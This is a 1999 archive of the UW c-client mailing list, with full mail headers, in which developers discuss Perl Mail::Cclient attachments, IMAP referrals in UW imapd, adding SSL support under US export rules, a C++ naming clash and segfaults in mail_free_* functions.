[140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA14409 for ; Mon, 25 Oct 1999 18:28:12 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA11273; Mon, 25 Oct 1999 18:28:10 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id SAA13949; Mon, 25 Oct 1999 18:26:15 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id SAA12102 for ; Mon, 25 Oct 1999 18:23:44 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA01369 for ; Mon, 25 Oct 1999 18:23:44 -0700 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA31977 for ; Mon, 25 Oct 1999 18:23:41 -0700 Received: from swi.com.br (IDENT:chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.1a/8.8.7) with ESMTP id XAA16631 for ; Mon, 25 Oct 1999 23:26:16 -0200 Message-Id: <199910260126.XAA16631@stratus.swi.com.br> Date: Mon, 25 Oct 1999 23:26:16 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@CAC.Washington.EDU Subject: Content-Disposition not working. X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I noted that there is more people using Perl's module Mail::Cclient. I haven't being able to get the "body->disposition" from a attachment. I am doing something like this: foreach $part (@{$boby->nested}){ if (lc($part->type) eq 'application'){ print $type->disposition; } } however it does not recognize $nested->disposition. Is this the wrong way to do, or it isn't implemented yet? Right now, the only way I have to get the attachment is to parse the entire body. Thanks for any info, Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 3 22:00:45 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 Nov 1999 22:00:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA04479 for ; Wed, 3 Nov 1999 22:00:44 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA06461; Wed, 3 Nov 1999 22:00:42 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id VAA09484; Wed, 3 Nov 1999 21:57:46 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id VAA48172 for ; Wed, 3 Nov 1999 21:54:35 -0800 Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA03331 for ; Wed, 3 Nov 1999 21:54:34 -0800 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet1.5) with ESMTP id AAA15481 for ; Thu, 4 Nov 1999 00:53:48 -0500 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.9.1a/8.9.1) with ESMTP id AAA00842 for ; Thu, 4 Nov 1999 00:53:47 -0500 Message-Id: Date: Thu, 4 Nov 1999 00:53:47 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Where do I put referrals into UW imapd? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs X-Sender: rcgraves@quixote.unet.brandeis.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN (First of all, is this worth my time? If I got my server to redirect particular users and the #shared/ namespace appropriately, what are the minimum versions of Netscape and Outlook that would take notice? .pinerc are trivial to fix by comparison.) I've seen this asked a couple times in the archives, but no answers specific enough to get me going. What function(s) do I need to hack at to implement referrals for the #shared/ namespace and nonexistent local users to another server? I've spent some time in env_unix, but the mailbox functions all seem to want to return a pathname or stream and the authentication functions all seem to want to return a paswordish struct for success or NIL for failure. The only references I found to referral/i in the source (4.6 release) are the CAPABILITY banner and the basic _client_ functionality in imap_manage(). A simple sample of bouncing #shared/ to another server would get me started. -- Rich Graves UNet Systems Administrator -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 3 23:43:00 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 Nov 1999 23:42:59 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA05698 for ; Wed, 3 Nov 1999 23:42:57 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA07942; Wed, 3 Nov 1999 23:42:56 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id XAA21548; Wed, 3 Nov 1999 23:36:52 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id XAA56014 for ; Wed, 3 Nov 1999 23:35:09 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA14214 for ; Wed, 3 Nov 1999 23:35:09 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA31352; Wed, 3 Nov 1999 23:35:08 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (shawn@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA13244; Wed, 3 Nov 1999 23:35:08 -0800 Message-Id: Date: Wed, 3 Nov 1999 23:25:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rich Graves Cc: c-client@u.washington.edu Subject: re: Where do I put referrals into UW imapd? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Basically, to implement referrals, you need to have some database to look up your referrals, and then percolate the referral via mm_log() to the resulting OK or NO response. For example, with login referrals, you probably want to do the look up in the database in server_login(). If there's a referral, then do an mm_log() with errflg NIL (for successful logins with referral) or ERROR (for failed logins with referral) in addition to the other stuff that server_login() does. The text of the mm_log() string should comply with the login referral RFC. With mailbox referrals, you do something similar, only in mailboxfile(). I think what you were missing was the use of mm_log() to percolate the referrals up to imapd. Please feel free to ask me more detailed questions once you get further along. A lot depends upon your implementation, such as what sort of database you have and what sort of referrals you want to do. You have to decide this for yourself. From pinedev@shivax2.cac.washington.edu Thu Nov 4 07:27:06 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Nov 1999 07:27:05 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA15630 for ; Thu, 4 Nov 1999 07:27:04 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA25552; Thu, 4 Nov 1999 07:27:02 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id HAA19903; Thu, 4 Nov 1999 07:22:18 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id HAA12452 for ; Thu, 4 Nov 1999 07:19:58 -0800 Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA32099 for ; Thu, 4 Nov 1999 07:19:56 -0800 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet1.5) with ESMTP id KAA17825 for ; Thu, 4 Nov 1999 10:19:44 -0500 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.9.1a/8.9.1) with ESMTP id KAA02615 for ; Thu, 4 Nov 1999 10:19:44 -0500 Message-Id: Date: Thu, 4 Nov 1999 10:19:44 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: re: Where do I put referrals into UW imapd? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs X-Sender: rcgraves@quixote.unet.brandeis.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 3 Nov 1999, Mark Crispin wrote: > Basically, to implement referrals, you need to have some database to look up > your referrals, and then percolate the referral via mm_log() to the resulting > OK or NO response. Of course. I had it in my head that referrals are a separate response code, but they're actually more like attached comments. > For example, with login referrals, you probably want to do the look up in the > database in server_login(). If there's a referral, then do an mm_log() with OK, I think I can do that. > A lot depends upon your implementation, such as what sort of database you have > and what sort of referrals you want to do. You have to decide this for On all servers but one, #shared/, #ftp/, and #public/ get referred to a specific server (a CNAME alias, so I'll probably just put the hostname into the code). This is isn't very site-specific so if someone has a sample implementation, please pass it along offline to get me started. If a user doesn't exist locally (we'll be using nsswitch_ldap), do an LDAP lookup for uid=username and return imap://${maildrop}/mailbox;AUTH=* (yes I need to read the RFCs a few more times) where the LDAP maildrop attribute is a fully qualified email address. This is very site-specific but should be trivial once I understand the basics of passing along referrals. Remaining question: Is there much point to this? What are the minimum versions of Netscape and Outlook that understand referrals? -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Wed Nov 10 07:27:59 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Nov 1999 07:27:58 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA04126 for ; Wed, 10 Nov 1999 07:27:57 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA13317; Wed, 10 Nov 1999 07:27:56 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id HAA07764; Wed, 10 Nov 1999 07:25:29 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id HAA53616 for ; Wed, 10 Nov 1999 07:22:23 -0800 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA15213 for ; Wed, 10 Nov 1999 07:22:20 -0800 Received: from nevis (nevis [137.195.28.38]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id PAA14240 for ; Wed, 10 Nov 1999 15:22:17 GMT Message-Id: <199911101522.PAA14240@phy.hw.ac.uk> Date: Wed, 10 Nov 1999 15:22:16 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: ssl-imap support? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Nov 1999 08:11:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA04747 for ; Wed, 10 Nov 1999 08:11:15 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA25057; Wed, 10 Nov 1999 08:11:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA10485; Wed, 10 Nov 1999 08:08:56 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA31868 for ; Wed, 10 Nov 1999 08:06:44 -0800 Received: from tes1a600.um.icomverse.com ([194.90.178.67]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA29681 for ; Wed, 10 Nov 1999 08:06:39 -0800 Received: from dmitrypc (iIM01600 [194.90.178.82]) by tes1a600.um.icomverse.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 4QK5J859; Wed, 10 Nov 1999 18:20:31 +0200 Message-Id: <71EDE7D51B8CD31196700050DA0EFA491BFC4E@GOOFY_EX> Date: Wed, 10 Nov 1999 18:07:03 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: dimrub@icomverse.com To: , "c-client" Subject: RE: ssl-imap support? In-Reply-To: <199911101522.PAA14240@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Sender: "Dmitry Rubinstein" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > From: Karsten Ballueder [mailto:karsten@phy.hw.ac.uk] > Sent: Wednesday, November 10, 1999 5:22 PM > To: c-client > Subject: ssl-imap support? > > > Hi, > > is there any way to get c-client library to support > ssl-imap? If not, is such support planned for the future? > There is no SSL code in c-client. You have a number of options if you wish to add SSL support to c-client based product: 1. Add in the SSL support yourself. It's not an easy task, since you'll have to change the way c-client performes it's I/O, among other things. However, SSL toolkits that will allow you to avoid coding SSL are readily available (see, for a free one, http://www.openssl.org). 2. Add an external SSL proxy. There are lots of those, some free, some commercial. stunnel is a good start. With this solution, there's no need to do any coding at all. -- Dmitry Rubinstein From pinedev@shivax2.cac.washington.edu Wed Nov 10 14:35:28 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Nov 1999 14:35:28 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA12254 for ; Wed, 10 Nov 1999 14:35:26 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA25142; Wed, 10 Nov 1999 14:35:24 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA04472; Wed, 10 Nov 1999 14:32:16 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA49130 for ; Wed, 10 Nov 1999 14:28:05 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (takahashi@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA29832 for ; Wed, 10 Nov 1999 14:28:05 -0800 Message-Id: Date: Wed, 10 Nov 1999 14:27:33 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Karsten Ballueder Cc: c-client Subject: Re: ssl-imap support? In-Reply-To: <199911101522.PAA14240@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 10 Nov 1999, Karsten Ballueder wrote: > is there any way to get c-client library to support > ssl-imap? If not, is such support planned for the future? I wrote complete SSL support for c-client. Alas, due to US government export restrictions, I can't make it available to you. The UW IMAP toolkit distribution is a sanitized version that does not have SSL. We can (and do) distribute a version of PC Pine in binary only form that supports SSL via Microsoft's SChannel interface (which means that you're stuck with the less secure international SSL support). If you want to go and do it yourself (e.g. using a package like OpenSSL), you should study c-client's abstraction layers carefully. It is possible to add SSL support to c-client without modifying any existing c-client source files; all you need is a source code file and a sub-makefile. I am aware of least two third party implementations of SSL for c-client; one of which more or less was implemented the right way (however it is client-only, no server support). -- Mark -- * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science doesnot emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Nov 10 14:44:07 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Nov 1999 14:44:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA14410 for ; Wed, 10 Nov 1999 14:44:06 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA03310; Wed, 10 Nov 1999 14:44:03 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA15905; Wed, 10 Nov 1999 14:40:24 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA27798 for ; Wed, 10 Nov 1999 14:32:12 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (whlam@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA04823 for ; Wed, 10 Nov 1999 14:32:11 -0800 Message-Id: Date: Wed, 10 Nov 1999 14:30:58 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: dimrub@icomverse.com Cc: karsten@phy.hw.ac.uk, c-client Subject: RE: ssl-imap support? In-Reply-To: <71EDE7D51B8CD31196700050DA0EFA491BFC4E@GOOFY_EX> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 10 Nov 1999 dimrub@icomverse.com wrote: > 1. Add in the SSL support yourself. It's not an easy task, since > you'll have to change the way c-client performes it's I/O, among other > things. It is not necessary to change c-client's I/O; there are abstraction layers which make it possible to plug in other technologies without having to modify the client or server code. > 2. Add an external SSL proxy. There are lots of those, some free, some > commercial. stunnel is a good start. With this solution, there's no > need to do any coding at all. However, this is server-only, requires an extra process, and you can't use certain other add-ons (e.g. Kerberos) with it. -- Mark -- * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science doesnot emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Nov 11 10:58:37 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Nov 1999 10:58:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA03335 for ; Thu, 11 Nov 1999 10:58:35 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA25439; Thu, 11 Nov 1999 10:58:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA03876; Thu, 11 Nov 1999 10:50:39 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA44950 for ; Thu, 11 Nov 1999 10:48:29 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (msj@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA06538 for ; Thu, 11 Nov 1999 10:48:29 -0800 Message-Id: Date: Thu, 11 Nov 1999 13:47:35 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Michael Cc: Karsten Ballueder , c-client@u.washington.edu Subject: Re: Forwarded message: Re: ssl-imap support? In-Reply-To: <19991111101242.B18331@valinux.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 11 Nov 1999, Michael wrote: > Can it be made available to those of us who do live in the US? The contact to ask for the software is my boss, Lori Stevens, lrs@cac.washington.edu. > Do you have any pointers to the one that was done right? client-only > is ok, the server side is already setup. The last that I heard, it was fairly easy to find them with a web search. -- Mark -- * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science doesnot emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Sun Nov 14 17:34:23 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Nov 1999 17:34:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA11034 for ; Sun, 14 Nov 1999 17:34:22 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA27320; Sun, 14 Nov 1999 17:34:20 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id RAA22610; Sun, 14 Nov 1999 17:31:17 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA27510 for ; Sun, 14 Nov 1999 17:29:54 -0800 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA12416 for ; Sun, 14 Nov 1999 17:29:51 -0800 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id TAA05447 for ; Sun, 14 Nov 1999 19:28:40 -0600 Message-Id: Date: Sun, 14 Nov 1999 19:28:40 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: c-client@u.washington.edu Subject: Greetings. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I just signed up. I've been using the c-client stuff for over a year now, and I guess I should have signed up a while ago. First, an observation: I have been writing C++ programs where I have been encapsulating the C-client functions in classes, and putting the "mail.h" header file in my programs with the "#ifdef __cplusplus" thing. There are a couple of structures within structures, most notably withing MESSAGECACHE which are called "private". "Private" is a reserved word in C++, so it's a no-no to make a variable with that name. So, I always rename this structure variable before compiling my c++ programs. But, I think, you should change it in the distribution, so that it would work out of the box for C++. By the way, I have found that making those C++ classes out of the c-client functions is a pretty nifty thing to do. It works rather well. I have another problem, but I'll put it in another message. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Nov 14 17:51:52 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Nov 1999 17:51:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA11278 for ; Sun, 14 Nov 1999 17:51:50 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA04151; Sun, 14 Nov 1999 17:51:49 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id RAA29285; Sun, 14 Nov 1999 17:48:41 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA31322 for ; Sun, 14 Nov 1999 17:47:50 -0800 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA13869 for ; Sun, 14 Nov 1999 17:47:47 -0800 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id TAA05662 for ; Sun, 14 Nov 1999 19:46:36 -0600 Message-Id: Date: Sun, 14 Nov 1999 19:46:35 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: c-client@u.washington.edu Subject: mail_free_* MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ok. One thing that has never worked from me is mail_free_body, mail_free_envelope and mail_free_elt. I always get segmentation faults when I try to do these. I admit that I am not always very concientious about doing free()'s, etc. But when I try to do these, they always crash the program. Is there anything that I have to know about the order in which they have to be done or anything that I have to make sure that Ive done first before calling these functions? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Nov 14 20:20:52 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for 